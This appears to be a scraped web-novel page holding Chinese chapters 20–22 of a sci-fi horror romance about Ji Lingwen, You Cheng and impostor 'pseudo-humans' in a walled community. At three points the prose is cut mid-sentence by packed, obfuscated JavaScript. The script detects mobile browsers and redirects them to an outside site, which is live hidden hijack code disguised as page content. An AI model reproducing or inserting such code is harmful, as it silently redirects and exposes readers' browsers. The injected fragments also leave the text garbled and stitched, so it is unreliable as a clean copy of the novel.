纪令闻在检查站不是没听过几个管理人物,但没一个像眼前这位似的,几米远一个眼神,心都发虚。 她将近期所有事情在脑袋里滚了几圈,想不出这样气势的人还能拿她怎么个着。 倏地。 游骋扯唇喊了个名字:“令闻。” 他说的绝不是诚恳,却让人分出几许神。 纪令闻不说话了,她以为除了家人不会有人再这么叫她。 这一声,说实在的,像被捏住了七寸。 但她那会儿的确没有更好的选择。事已至此,他们之间的牵扯早就算不清了。 苏构若看两人僵持不下,眼见着游骋疑似发疯,赶紧问些有的没的交换信息。 游骋的机械手臂显示屏亮了,他看了眼来显,并没有点击查看,而是对纪令闻说:“我还要赶时间。” 说罢,他直接无视了她的左顾右盼,一边脱离搀扶一边快步走,估计是真有什么棘手的事情。 纪令闻略微松口气。 苏构若和尸体小哥在听完纪令闻解释的伪人喜欢红色后,更加觉得游骋是指望不上了。 好在店铺里有条密道,三人进去后关上封口,就地点了根火把往里走,周围陷入了死一般的沉寂。 没多久,尸体小哥跟无赖似的,做起了自我介绍:“我们见过的,我叫慕丑,是苏老板的狗。” 大大方方的一句话,不仅让纪令闻愣了,没懂他怎么突然花样这么多。 好一阵,游骋清了清嗓子,目光往纪令闻那边放了放,仿佛听不出那话里的直白。 苏构若反手甩慕丑一巴掌,毫不留情地说穿:“得到我允许了吗?就当我的狗。” 这话当然不是褒奖,慕丑不怒反笑,舒舒坦坦,“苏老板财大气粗,看不上我也是合情合理。但子非鱼焉知鱼之乐,我只想在主人身边有方寸之地。” 好像听到了什么了不得的东西。 他俩在一起时的氛围,明显有别于普通朋友的关系。 什么狗啊,主人的,真的张嘴就说出来了。 纪令闻眸光一怔,脑海中下意识浮现出游骋说同款话,那副好看皮囊都透着违和感。 她一时有些没收住,触及到游骋寥寂的目光,赶紧别开脸。 “我不知道他成分这么复杂。”游骋说的毫无负担。 纪令闻面不改色,却在抬头时对上他状似审核的端详。 她困惑,寻常的语气:“你这么看着我干什么?脸上有脏东西?” 游骋不辨喜怒地笑了声。 “兜了一大圈来试我有没有生气,不累吗?” 纪令闻吃过亏,平时怎样都好说,动起真格来她还真只有不占上风的份儿,豁出去了,停驻脚步,落下他一大截。 他没料到她会耍无赖,把问题又抛会给她,磁性低沉的嗓音,仿佛裹挟着摄人心魄的魔力。 “表妹认为我不可靠?” 纪令闻答不上来,再厉害的嘴都在此时成了摆设,脸色以肉眼可见的速度快速憋红了。 她觉得自己就像刚蒸好的灌汤包,全身上下每个毛孔都在热气腾腾,一口咬下去,不光烫嘴,还烫舌头。 走了一段路,苏构若神色还带着暴躁,似乎是察觉到纪令闻不在状态,停了几秒,认真地开口:“你们不觉得它们出现的太巧了吗?” 确实巧。 与伪人发生正面冲突不是一次两次了,明明纪令闻什么禁忌都没犯,却总能撞到这些不同寻常的迹象。很不合理。 触发条件是什么? 纪令闻立刻想到了这一层,心里说不出是松一口气,还是怀疑。 她低下头,指节无意识收紧,抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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纪令闻有一点无畏,又有一点自私。她并不纯粹,还很矛盾,反而更像人类了。 “这是个不错的主意。”游骋对纪令闻的计划给予肯定,“指挥中心发来最新工作规划,全域静态管理,禁止居民出户。昨晚的动静加快他们封锁的速度,或许,还有些投鼠忌器,只能一刀切。” “什么时候动手?”苏构若不觉有它,立即活动了下手脚。 作为智核社区重点培养的清理者,游骋各项能力都很卓越,实战经验丰富,他能起到的作用在团队中占据核心地位。 苏构若和慕丑是临时仓促加入进来,摸不清底细,但总的来说,多一个人多一份力量。 “现在。”纪令闻看了看勺戒,“今天的日程安排得满满当当,一分一秒都不能耽误。” 三人又立即叮嘱纪令闻,回去之后什么都别往外说,要时刻警惕人性。 毕竟人性是经不住考验的。穿着衣服都未必是人。 要引发爆炸,必须举杯三个要素:可燃材料、氧气以及点火源。灰尘作为可燃物质,一旦与氧气混合并接触到点火源,就可能发生爆炸。 最好能一举炸开个出口。 苏构若转头观察了一圈,看见被火光照得银闪闪的机械手臂,琢磨着:“借个火,我们可以尝试用灰尘引爆——” 不等游骋说话,纪令闻就接下:“这里有一桶柴油,还没开封。灰尘的爆炸危险性更高,别冒险。” 密道内的空间比入口还要狭窄,再者空气太过稀薄,自纪令闻提出炸毁这里的念头开始,她就一直搜寻可以用来点火的引燃物。 然后费了牛九二虎之力就把垒起来的柴油搬了出来,分量着实不小。 等到把这些柴油罐撬开全都浇到前方隧道地面,纪令闻随手拿起火柴划出火星子扔了下去,火焰眨眼就窜得老高。 在第一轮爆炸的时候,突然传来一道童声:“是你们吗?” 纪令闻觉得有些耳熟,又想不起来这道声音的主人,没有任何犹豫地飞奔离开。 20. 第 20 章 从引爆到跑路,纪令闻都没有多大的情绪起伏,确定罐装柴油具备爆炸能力后,突然捕捉到他们来时路似有涌动,一股不祥的预感油然而生。 毕竟声音是真的越来越近。 她转头看向已经在捂着机械手臂等待的游骋。 视线交汇,他眼神清明,身后所有能被柴油罩盖的地方都没能躲过吞噬,要么被火焰牵连,要么被高温引爆,转眼就成了一片火海。 游骋欣赏着站在火海前的纪令闻,浑身的血液好似凝固了一般,直到纪令闻奋力拉起他的手,朝着破开的洞口快速奔去,凝固的血液这才又流通起来。 回握的温度提醒着纪令闻,这位指挥官现在心情不错。 纪令闻摇摇头,心想,一定是她感觉错了。 游骋本就是不怒自威,只不过平时公事公办拒人于千里之外的工作狂感,常常让人下意识忽略了这点。 跟苏构若他们走散后,纪令闻一颗心始终放不下,她想问问游骋有没有听见呼喊声,但又苦于找不到机会开口。 洞口的尽头依然漆黑无比,容易隐匿的长夜,什么都能吞并。具体情况无从得知,但好在是跑出来了。 佩戴好记录仪后,游骋转身往前走。 走了几步发现她还没跟上来,他偏头催促道:“愣着干嘛,不是顺路?” 游骋走过来拉她时,纪令闻飙升的肾上腺素并没有因此消退,没说拒绝的话,当她是默许。 走路安然无恙,类似怪物袭击的事再没发生。 中间有个小曲折。 游骋去前面探路,纪令闻才走出来没几步,就发现洞口爬过来两个黑黢黢的东西,无形的眼神像凿子似的往她身上凿来,看样子跟着她有一会儿了。 身体轮廓在全黑环境中模糊难辨,仅仅一震惊的功夫就赶到她眼前。 “躲在柜子里的姐姐,你身上有没有吃的?我妈快撑不住了。” 张帆帆一开口,纪令闻才认出来这不是什么怪物,竟然是梁姐母子。自张杉被抓就再也没见过了。 眼眶凹陷,双眼无神,脸颊上的肉已经消瘦得贴紧了颧骨,看起来就像一大一小行走的骷髅,随时都有可能倒下。 难道他们失踪的这段时间,一直在黑市的密道里避难? 也就是说,她之前听到的呼喊不是幻听。 纪令闻摸遍全身的口袋,只找到临跑时苏构若塞给她的灌汤包。 包子皮皱巴巴的,汤汁已经漏干,毫无食欲可言,但梁姐却吃得非常起劲,难以想象他们究竟遭遇了什么。 不过一面之缘,纪令闻能做的也就只有这些。 就在张帆帆拽住她衣角的时候,一只大手也重重压在他弱小身躯上,声音冷峻如冰:“小朋友,这里不是你该来的地方。” 张帆帆也不知道哪来的勇气和力量,在这一刻忘记了疼,忘记了害怕,举起拳头朝着游骋挥去。 七八岁的孩子能有什么攻击力,很快母子二人被捆绑结实扔在原地。 纪令闻看到了一块LED灯牌,上面写着四个大字的标识:指挥中心。 指挥中心是管理员办公地点,位置并不高调。整栋楼多数情况下都处于一种祥和的氛围中。 除了个别时候。 就比如,现在。 十几个大功率的聚光灯从四面八方将他们团团围住,那强烈而刺眼的光芒如同烈日当空,照得人乎睁不开眼睛。 光线在空中织成一张密不透风的光网,将他们的身影牢牢锁定在这片光芒四射的地域。每个人的脸上都映出了斑驳的背光,眼睛不由自主地眯成了一条缝,试图在这熠熠生辉中寻找一丝可以指摘的破绽。 即使一声不响,却如同说了千言万语。 紧张与炽热的气息在空气中弥漫,带来了一种几乎令人窒息的压迫感。 纪令闻受不住强光,眼睛被游骋挺劲捂住,她的手指却在看不到的地方攥紧掌心。 然而,意料之中的审判并没有落在她身上。 呼啸而过的风声驱逐了耳道里遗存的嗡鸣,以至于她在听见头顶漠然嗓音时晃了神。 “责任在我。” 纪令闻心头轻轻地咯噔了一下,好像觉得哪里不对劲。她猜测,这群人中兴许站着管理员。 这时,张帆帆还嫌事不够大,添乱说:“就是你上次来过我们家,我爸爸才被抓走的!害得我和我妈妈没了家!坏蛋!!” 几天未进食的张帆帆蜷缩在地上,嘴唇干裂,嘴角挂着几道细小的裂口,那是长时间未进水的痕迹。任谁看了都很难不动容。 游骋是坏蛋。 纪令闻可不会真的这么认为。 跟游骋不太熟的人,对他的评价或多或少是,工作狂,也有距离感,但是从底层爬上高位的典型。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129183|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪令闻自此知道,游骋才是最不好惹的那个。 世事无常,总要有人被推出来做替罪羊。 连这么半大点的孩子都会倒打一耙,人性的复杂多变真让人唏嘘。 游骋侧了下头,辨不出情绪的神色幽深似潭,不知道在想什么,倒是破天荒没有反驳。 人群中有个人却做不到像游骋这样淡然,也没避讳纪令闻,开诚布公地问:“带头去黑市。说说,打算怎么办。” 是让他表态。大事化小小事化了。 声音经过特殊处理,听起来有点乱真。 良久后,游骋再次一字一顿开口,半点不通融:“我要是不应呢?” 无人应答。 双方都在等着妥协。 举灯的人顺带着气势都矮了一大截。 纪令闻好像被注入了一剂强心针,意志越来越坚定,跟对人了。可惜游骋没这个觉悟,最不好受的莫过于纪令闻,走也不是,留也不是。 只能打打太极,“现在是休息时间,有什么话明天再说。” 大庭广众之下,她明白那个人是有心要保游骋,但现在好像没这个多余必要了。 谈判最重要的是一方让步,就算能让,也是块疙瘩,更何况游骋根本就没准备让步。 可那个人却充耳不闻,显然有了决断,“既然你骨头硬,那就让我来帮你松松筋骨。” 话毕冲旁人吩咐:“两个都带走。” · 暗室。 灰尘粒子漂浮。 游骋坐着一张皮质椅,双手被牢牢固定在两侧扶手上,智能手铐滴滴滴地闪烁着红点。 这一天之间,管理员好像操碎了很多心,看着游骋说道:“你没有选择的余地,现在,也没有你在慢慢解决问题的时间了。” “伪人全面混进智核社区,模仿能力越来越强,初始检测不出,并且已经控制监听大批上区居民。这样下去,整个社区迟早会沦陷。” 不可否认,管理员的手段虽然残酷,残酷到连自己的同类都能舍弃,可现在是这个人在运营着整个社区。 游骋沉默着,齿舌死死抵住上颚,衣袖之下,手背的青筋暴起。 如果真的走到那一步,居民被伪人全面替换,在得知人体即将走向覆灭,社区怎么会有一夜安宁? “所以,我不会让这种情况重演。” 21. 第 21 章 顶了这通撞之后,游骋一连两周都杳无音信。 仿佛这经历的一切都是纪令闻虚构出来的,从未真正发生过。 纪令闻想找人把游骋捞出来,找了一圈所有人都避之不及,还是园丁私下悄悄跟她说,申请会见名额比什么都强。 园丁之所以会这么想,是因为这次游骋犯了大事,社区里很多管理层都在看笑话。而纪令闻平时待人平和,就以为她想插手。 园丁还知道,纪令闻跟那帮清理者都很熟,好像还和黑市老板关系非同寻常,如果她有那个心,当然易如反掌。 静默片刻,纪令闻说:“既然你不愿意,自己跟游骋说,我不会替你一比一转告。” 她的语气挺硬,园丁沉默了好一会儿。 纪令闻以为他会生气或者挖苦,谁想园丁忽然说:“你只管往上申报,那边会同意你去。”声音异常缓和,说完就去撒菜种了。 纪令闻狐疑的递交了会见申请,果然得到了回复:审批通过。 其实说难听点,叫探监。 这个游骋,只会自己担着。 但他说过的话犹如魔咒缠绕在耳边。 万一他真有个好歹,她也脱不了干系,无人可以置身事外。 检查站的工作还没停,纪令闻生怕突然就来人,像上次一样把她抓走,上班都得留个眼放哨。 反反复复的做噩梦。 梦里,纪令闻站在空旷的广场,被无数双手指责、谩骂,每句话都像箭矢般射向她,让她无处可逃。终于,纪令闻在极度混乱中猛地惊醒,汗水湿透了衣襟,心跳如鼓,久久难以平复。 殊不知,游骋那边也不好过。 本以为申请会见名额要费点功夫,好不容易申请下来,一块石头落了地,她第一时间就赶过去。 纪令闻来探监的时候,游骋被关在一个狭小的囚室里,四周是冰冷的铁壁,没有窗户透风,只有一盏微弱的灯光。 他坐在椅子上,有皮带作为固定,脚下是染红的地毯。她看见他额头暴起的筋脉,少了平日的风采,手长脚长规矩弯曲,依然维持着上次那样端正的坐姿。 这跟纪令闻预设的见面场景,不太一样。 那天的他 没有严刑拷打,手却被拷在扶手上,这可不是闹着玩的,那个人是何许人也,纪令闻比游骋还心知肚明。 游骋那一遭摆明了不给面子,也是间接打了管理员的脸。 他的隔离服虽是定制,但也禁不住身材壮硕。 游骋低着头,看也没看一眼,自己将带血的地毯踢远,主动对纪令闻道:“如果审批不通过,你是不是打算劫狱?” 纪令闻一怔,未曾料自己的心思这么快就被识破。 她也知道自己没资格替游骋说话,真要让她眼睁睁看着他受罪,恕她做不到。 “是有这种想法。”纪令闻倒神色自若地答,这才问到关键问题:“那你愿意跟我一起走吗?” 她在他对面停下,稍微有点不自在。 两人有过好几次交流,但都是面对面,生死中。这么看着对方狼狈地讲话,还是第一次。既不是陌生人,又称不上熟识。 游骋一愣,旋即闷笑出声:“好。” 他似乎是失血过多,又像是说到他心坎上,这一声‘好’回应得非常偏激。 从那天游骋揽下所有责任起,纪令闻就想找他好好谈谈了。 太讲义气也是种意气。 “我有话跟你说。” “要是跟认错有关,就不必开口了。” 游骋语声虽轻,却带着不容置喙的意味。 一反常态的。 纪令闻不太懂他为什么要对自己说出这句话,难道他以为她靠不住了? 又问:“你有什么话想对我说?” 游骋一语双关,“有什么话最好烂在肚子里。” 又不是傻子,纪令闻何尝听不出这话里的另一层含义,她倏地抬头,就看见上方悬挂的监控传感器。 这里的确不是谈话的好地方。 游骋答应过的事情,从来没有食言过。 纪令闻现在唯一能够依靠的,也没别人了。她觉得,起码在这件事,她没有问到底,毕竟她也有隐瞒他的事。 不过游骋到底要做什么?他的语调听着很蹊跷,太配合了。 探监时间转瞬即逝,很快就有人来催,纪令闻正想绕过他出门,就听到他寡冷的嗓音响起:“我的头还在疼。” 是强调。 他喉咙里低哼一声,带着几分闷哑。 果然还是那块板砖留下后遗症了吗? 纪令闻没想到他还记得这一茬,她早忘得一干二净。 做错了事,有的事大,有的事小。但每个人都要为自己做过的事负责,她既砸了游骋,这就是报应。 纪令闻本该走向楼梯的,但双腿不听使唤了似的,朝着游骋大跨了一步,脚尖离他有不到十公分。 他们之间隔着一扇玻璃窗,游骋没靠过来,她不是看不到他的惨状,无法,只压低声音:“等你出来我再补偿你。听话。” 一码归一码。 纪令闻心里有一杆秤,这祸既然因她而起,就不能把脏水都泼到游骋身上。 社区还有很多未知数,以后的事以后再说,也说不准还有转机。不必急于一时。 “我也算和你同舟共济了。”游骋想说却很有分寸地止住了,只用那双黑眸一瞬不瞬瞧着她,肩膀颤颤巍巍,随时都有失衡的可能。 当然这话乍一听说不清哪里怪,纪令闻也就点头,实话实说:“谁叫我们是表兄妹呢。” 她才发现他抬眼定定地望着她,嘴唇泛白,冷峭的面庞仍旧讳莫如深。 没人敢动游骋,但真要杀鸡儆猴拿捏底下人,还不是管理员轻轻松松的一句话。 路过指挥中心,纪令闻一步都没停,心里像打翻了五味瓶。 刚才她说话的语气,为什么那么像游骋? 半点前兆没有,居然被邀请进去了,纪令闻压根没想过的,而门在她刚进去就迅速合上。 在LED灯带微弱而迷离的闪烁下,这位管理员的办公室仿佛是一个超脱于现实之外的秘密据点。 办公室的墙壁由一种半透明的合成材料覆盖,这种材料在夜色中微微发光,上面还镶嵌着一块块不规则的显示屏,不时地闪烁着数据流和代码,发出低沉的机械运转声,让人想不注意到都难。 整个办公室都是一套活生生的、呼吸着的数字生态系统。 中央摆着张黑色金属与碳纤维材质的办公桌,桌面上散落着各式各样的电子设备和数据版,让人不禁遐想办公室的主人有多忙。 纪令闻看着周围的环境,又看了看管理员办公室的门,突然想起大事记里好像提到过,指挥中心……好像不允许闲杂人等进入。 好死不死,纪令闻的工牌开始响了:“警报!非指挥中心工作人员,无权进入此区域。” 感觉自己的一举一动都被监视。 无论是在宿舍、检查站还是公共场所,都似乎被无形的眼睛紧紧窥探着。 进了指挥中心感觉更甚。 这下准没好事。 一台全息投影仪静静伫立着,偶尔投射出三维立体的图像,只是还没等纪令闻开口,就听到一道声音的质问: “你手里藏着什么?拿出来。” 纪令闻伸出手看了看,她明明什么都没有藏。 唯一能说的上有东西的大概就是,掌心上不定时显示的文字,可这两者之间有什么关联吗? 况且,全息投影人像是背对着她的,怎么会知道她手里有东西? 反常。 实在太反常了。 纪令闻抿了抿唇,出人意料的淡定,“你是管理员。” 她以坚定的语气陈述,无疑是一个肯定的断言。 全息投影人像跟没听到似的,继续思忖。过了几秒才缓缓转头,居高临下地看着她,像是诘问的姿态。 “是又怎样?不是又怎样?” 纪令闻深知这是戏弄,却不得不继续做做表面功夫,因为这张脸,简直就是她的镜像,几乎一模一样。 只是神色稍逊一筹,略显黯淡无光。 这就是智核社区最高权限持有者的真面目吗?未必。 纪令闻往前移动,主动伸手展现在全息投影面前,触碰到影像,对方并未闪躲,但表情显见地露出一瞬间的僵硬。 一开始纪令闻确实没想这么做的,可为什么手伸出来的那一刻,她会主动伸出手,完全把自己本来意愿抛之脑后? 像这样的越矩行为,摆在明面上,发生在刚才几乎少之又少。 故而一眼就被全息投影人像看穿:“你这是想偷袭?” “我一个小职员,见到管理员激动也不行吗?”她睁眼说瞎话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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消息传来传去就变了味,逐渐扭曲成纪令闻强闯指挥中心,差点成为社区面见管理员第一人,安柏向纪令闻转述这事,她对此不以为意。 只是有群体在,哪里又能消停得了。 同时确认的,还有智核社区的形势并不乐观,不止游骋,或许所有人都被管理员困住了。 值班表又更新了,纪令闻无奈,只好收拾下去了检查站,这回是魏站长亲自找她。 抵达检查站大厅时,纪令闻老远就看到了张晓亚的身影。 猝不及防地撞见,纪令闻完全没有预料到,本想默默避开,可不料张晓亚眼尖地发现了她,径直朝她走来。 只是还没等张晓亚靠近,魏站长就叫她俩来一趟,纪令闻眼珠子没乱转,都能感觉到有道目光直勾勾落在自己身上。 她牵了牵嘴角,礼貌微笑:“这么巧,我室友也在。” 大概是刚被无视了,听见‘室友’两个字,张晓亚的反应都有些不自然。瞳孔失焦,眼底阴暗翻涌。 魏站长却没发觉,又转过头向纪令闻说:“你们是室友就更好办了,刚刚接到上级通知,今后值班将实行双人制。” 双人制,即两个人一起值班。这和员工入职培训手册中的规则第七条相悖,差太远了。 【值班室一次只能进入一名员工,员工执勤结束后应从值班室内侧门返回检查站大厅。如有员工邀请你一同进入值班室,无视即可。】 到底是什么原因让管理员推翻了之前的规则? 四目相对,兴许是纪令闻太捕风捉影,总觉得魏站长话里有话,眼神也有些耐人寻味。 像是在……期待。 不过魏站长倒是很看重她,“工友都试试需要慢慢磨合的,我从前也是个急性子,现在当了站长可不比从前,整个人都得到了升华。好好干,将来说不定你能接我的班呢。” 说着,就微妙地拍了拍她的肩膀,“改天我一定让游骋给你开小灶,好好教教你。” 接班? 游骋开小灶? 纪令闻怎么都想象不到这个画面,虽然魏站长嘴上不说,但对于她这个刺头,应该也是很嫌弃的。 从之前的针对就能看出。 纪令闻好笑地说:“您也太看得起我了,张晓亚工龄比我更长,我就是想接你的班,也根本不愿意当这个恶人啊。” 魏站长一言不发,视线在纪令闻和张晓亚脸上转了一圈,仿佛是在处理什么烫手山芋,只留下最后一句忠告:“好好工作,其他都不要想。” 说罢,转身离开。 没外人在,张晓亚脸上的笑容瞬间收了个干净,说道:“老实交代,你个关系户这么收敛,该不会是想搞小动作吧?” 22. 第 22 章 纪令闻原本都要拧门把手,听见张晓亚的这个问题,动作一下子顿住了。 “就算不为别人考虑,也要为自己打算。像你说的,关系户非要搞小动作来彰显自己的特殊地位,岂不是此地无银三百两?” 尽管理由充分,还冷静分析了下当前的局势,但这样的表现,很难不让张晓亚认为是心虚。 明显更关心双人制值班的问题。 张晓亚眼珠子转了转,“你这个关系户被人顶下去,这不也是人之常情吗?” “或许。” 这一点纪令闻也确定不了,信任是一件经不起考验的事,更何况,他们只是临时搭档。 如果不是游骋不计较,他们早就到了互相猜忌的地步了。很多时候,纪令闻都想不明白,游骋为什么要找她联手? 如果他没来,他们会不会比现在过得相安无事? 但显然,改变不大。 时间一晃就到了夜里19:00,寝室里刚刚熄灯,漆黑一片。 厚重的窗帘拉上,连一丝微弱的光线也无法穿透。 四周静悄悄的,每个人的呼吸声都显得格外清晰,连翻身的动作都听得清清楚楚。 就在这时,李宝嘉痛苦的叫声骤然响起。 “我的腰!我的腰!” 李宝嘉在床铺上大幅哀嚎打滚,被纪令闻拽着强行扭转时,头发已经乱得如乱草堆,生理眼泪横流,身体却是什么异常都没有。 纪令闻问:“你的腰怎么了?” “……刚才我的腰抽筋了……抽筋过后,剧痛特别强烈……感觉就像被生生折断,似乎随时可能断裂折叠……” 李宝嘉渐渐冷静下来,也惊悟到自己说的有点前言不搭后语。她又摸了摸后腰,瞬息之间的抽筋感已经不见了。 这个时候其他两人都沉浸在梦乡。安柏是上了午班太累就先睡下了,张晓亚则是如她所说作息规律。 可令人诧异的是,她俩沉睡得如同死人一般,无论如何都没有醒来,就像失去了对外界的一切感知。 纪令闻明白了问题所在,劝慰着说:“这只是你的大脑在制造假象,幻觉而已,别让它干扰你的判断。” 再看李宝嘉的随身健康监护系统显示,精神指数从不及格已经下降到危险,状态条裹着层近乎赤褐的颜色。 【自我意识受损(轻度)】:你的精神指数已大幅度下滑,当前状态对你而言不再安全,受到攻击的可能性显著增加。 *注意:此buff范围内,你的感知、思维、情感、意志行为将出现失常。 随身健康监护系统作为智核社区居民依赖的监测手段,以芯片为载体植入人体。其工作原理就是能实时监测环境因素对机体的影响,给出提示。但缺乏解决方案的提供,这样的设计本身就显得颇为鸡肋。 且可能加剧居民潜意识里的焦虑情绪,易引发不必要的恐慌。 准确来说,是自我意识。 现阶段科学界普遍认同,只有人类具备自我意识,自然也能够进行自我识别。即能够认识到‘我是我’,这听起来好像天经地义,但实际上并没有这么简单。情绪能催化各种的情境,吸引伪人取而代之,往往会投射出被替换者的阴暗特质。 被夺取热量,还没有真正的死亡,毕竟□□没有受到伤害,但所有的五感都在泛滥消耗,还没断气就已经被‘杀死’。 这才是智核社区居民司空见惯的事。 看完随身界面,李宝嘉深呼吸几下才找回自己的声音,“自从那晚拿过那撮头发摔过,我就感觉整个人失了魂儿,随身健康监护系统就一直弹消息。我知道精神指数不达标,只是没想到,竟然下滑得这么快。” 精神指数濒临危险值,大脑已经开始欺骗她,倘若继续恶化,跌破新高,认知开始扭曲,甚至清零…… 李宝嘉郑重地问:“令闻,你说要是放任指数下滑,我会死吗?” 话音刚落,纪令闻就深呼吸一气,将人按回去盖好被子,沉思了下,“保持正常状态,别给自己太大压力,你现在能做的就是好好睡一觉。” 越悲观紧张,精神防线就越容易攻陷。从某种程度来看,李宝嘉现在的状态比之前还要危险。 人在高度紧张时,所有的器官都会变得敏锐,刚才只是被黑夜和恐惧放大了感官,生成错觉,才导致那意外的突发情况。 如今,纪令闻不可能再模糊回应。 李宝嘉却不知哪儿来的力气,挣开她下床,“我们必须得行动了找到‘那个’,明天是最后期限,如果体检那关过不去,我们都会被人道毁灭。” 对了,员工体检。 纪令闻突然想起手册上写着的,员工不定期体检。 她没再说什么,确认张晓亚还没醒,拍了拍李宝嘉的后背,开始搜寻起来。 对寝室的地形,比第一天要轻车熟路许多,再凭借纪令闻对伪人的特殊敏感,不到半小时就完成了整个寝室的全面排查,包含原张晓亚的储物柜,但没发现任何新增的物品。 很遗憾,两人一无所获。 “不可能。”李宝嘉精神涣散,半信不信地冲到储物柜重新翻找起来。 越是找不到的物品,越是重点。这等于变相告诉纪令闻,关键点在摆在眼前了。 纪令闻在寝室扫视一圈,声音坚定:“我不管你要找什么,总之你先冷静下来。我问你,你是谁?” ‘那个’很可能就是自我意识。 李宝嘉不声不气的,忽然,她浑身一抖,仿佛看到了什么惊悚的东西,倒退撞倒门后的拖把。 “这里有伪人!” 李宝嘉指着倒下的拖把,信誓旦旦:“就站在这里,它正在注视着我,还要取代我的身份……” 这根本不像平时稳重自持的李宝嘉。 纪令闻拎起拖把,甩了甩,上面什么也没有,李宝嘉的幻觉效果还在持续挥发。 李宝嘉呼吸平稳半晌,不再搜找,沉默地回到床位坐下。摘下黑框眼镜,她两手插进头发里抓了两下,终于将积压已久的情绪爆发出来:“到底为什么……为什么非得是我?” 看着室友崩溃,纪令闻一时无言。 这句话,从纪令闻被困在家里开始,一直到走出家门这些天,也曾经问过自己无数次。 为什么只有她要有家庭不睦的遭遇?为什么她会被枷锁心脏监视控制?为什么她不能像普通人一样生活? 为什么非得是我? 神游片刻,直至意识慢慢回流,与这几天社区的往事回顾混杂融合,纪令闻不自觉地皱眉,“是啊,为什么非得是你。” 突然,她脑中灵光一闪,感觉某个猜测成真了。 “是那张床垫。”纪令闻眼神敏锐,忽地看向李宝嘉,嘴角漾开一个括弧,“还有,一开始她就说了,只要绝对安静的空间。” 李宝嘉顿时清醒了,思维开始迅速运转。 现在这个…… 替换张晓亚的这个伪人,尽管有智商,情绪波动,说话条理清晰,但如果真当她是活生生的人类,那就大错特错了。 与纪令闻猜想的一样。 扔了她的宝贝床垫会怎样? 会被激怒,显露真身。 这样一来,除掉‘张晓亚’就变得名正言顺了。 但怎样才能从中把自个儿摘出去,就成了一个新的难题。 李宝嘉向纪令闻科普,“清理者大部分配备检查站,有些黑心肠的泼皮会收保护费,逼迫别人给他们上供。社区不缺这样的人。” 纪令闻之前认真想过社区机制的问题,只要确认是伪人,肯定会被人道毁灭。没想到这里面还有空子可钻。 “没人监管?” “有啊。”李宝嘉重新戴上黑框眼镜,“把事闹大,才会引起高度重视。你要是反抗,那就是有窝藏嫌疑,少不了关几天禁闭反省。不反抗,就把误工费交上去,落个人财两空。” “运气好的话,清理者还能出手当场灭杀保你一命,运气不好,不仅要被剥一层皮还要被遣返,送到盐矿场出苦力。” 谈及遣返,李宝嘉的表情变得凝重,声音也压低几分:“你以为这样的情况只个例?错了,黑市里这种情况多了去。那些泼皮之所以能肆无忌惮,全靠背后仰仗的黑市撑腰。遣返他们只是暂时的,等回来只会更加猖狂。” 黑市? 其实自打从黑市回来以后,纪令闻就在琢磨黑市的运作究竟是靠什么。 谁的拳头硬谁有话语权。不然凭什么一个独立势力能在社区稳固立足,占据一席之地。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192762|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还有,她们说的黑市真是同一个地方吗? 纪令闻和李宝嘉对上视线:“收买他们,怎么样?” 李宝嘉原本不想跟纪令闻透露太多,余光瞥见她食指佩戴的勺戒,劝说的话到嘴边全都咽了回去。 “可行是可行。就是他们未必肯为我们所用。”李宝嘉顿了顿,开口道:“但你要是有门路一切都好说。” 门路,纪令闻还真有一个…… 上回发现床垫不对劲,取下头发,真正打算实施行动是在次日早班之前。员工宿舍是环形结构,很多人都出来晒被子,虽然不及阳光,但暖气足够了。 趁着这个难得的时机,安柏负责望风,纪令闻和李宝嘉瞅准这个机会动手,将张晓亚的床垫从床上拖下,然后再往护栏外一抛,床垫随之“嘭咚”一声落地。 坠落过程中被钢筋划破,里面的填充物得以曝光。 散落的是一具完整的女性干尸,床垫内覆盖着大量毛发,占比高达百分之八十,干尸因长时间脱水而略显萎缩,皮肤紧贴着骨架,身体比例失调。呈现出一种不自然的干瘪状态。 短暂平息,人群中骤然爆发出一阵尖叫声,此起彼伏。 员工宿舍每一层楼都充满了不安,这具尸体也生硬地打断了这夜的宁静。 等纪令闻数到三十的时候,‘张晓亚’第一时间发现现状,立刻以最快的速度跑下楼,企图消灭罪证,却被人堵了起来。 尖叫过后,有同事认出来:“那不是张晓亚吗?” “不对,张晓亚早就被通报猝死了……” 这件事,真闹大了。 让清理者介入是必然。 · 游骋确实刚从囚室出来,他的伤说重不重,说轻也不轻。 一连在家养了三天都没出门,工作也是线上办公,工作之余顺便查了点东西,管理员登录的ip地址。 ip地址一直都在变,近期却稳定了下来,记录显示管理员见了一个人。 鬼使神差的,他又在人才库搜索了下纪令闻的名字,有趣的点并不是他查到了什么记录,而是什么都没查到,界面空白。 门外,zcw533小心翼翼地观望着头儿的表情,相比上次失控暴走的癫狂,这次头儿看上去再正常不过。 表妹都没来探望,他似乎对一切漠不关心。 盯着微型电脑一会儿,游骋敛下眉眼,转身往外走:“有什么话要说。” 